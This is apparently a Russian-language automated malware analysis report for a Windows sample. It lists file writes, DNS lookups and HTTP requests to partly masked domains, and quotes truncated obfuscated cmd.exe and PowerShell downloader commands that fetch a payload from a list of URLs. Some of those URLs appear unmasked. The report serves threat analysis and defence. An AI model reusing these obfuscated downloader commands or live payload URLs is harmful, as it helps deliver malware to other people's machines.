Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /V^:^O/C"^se^t M^y=)^Z^W^$YNG^uz^i^E^sJ^SB^p^Oc^4e^x^}@^\at^[/^o^w^Q^L^IP]^jF(^g^l5r^ynq^T^k^0m^-'^2b.U^:^,^1^f^d^ ^{^h;v=^M^+&&^f^or %^2 ^in (15,^2^8,^29,^19^,4^1,^1^1,6^2,^19,^39^,^3^9^,60,^3...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\jqi.exe
Сетевая активность
Подключается к
- 'in###ex.com.mx':80
TCP
Запросы HTTP GET
- http://in###ex.com.mx/zTMd2
UDP
- DNS ASK du###gtc.com
- DNS ASK be####avels.live
- DNS ASK sa###ddh.com
- DNS ASK in###ex.com.mx
- DNS ASK gi####guyenreal.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V^:^O/C"^se^t M^y=)^Z^W^$YNG^uz^i^E^sJ^SB^p^Oc^4e^x^}@^\at^[/^o^w^Q^L^IP]^jF(^g^l5r^ynq^T^k^0m^-'^2b.U^:^,^1^f^d^ ^{^h;v=^M^+&&^f^or %^2 ^in (15,^2^8,^29,^19^,4^1,^1^1,6^2,^19,^39^,^3^9^,60,^3...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $ush='ziZ';$YLz='http://du###gtc.com/lqtp@http://besttravels.live/5pU@http://saisiddh.com/YoWZd4@http://insumex.com.mx/zTMd2@http://giangnguyenreal.com/T'.Split('@');$jmv=([System.IO.Path]::Get...
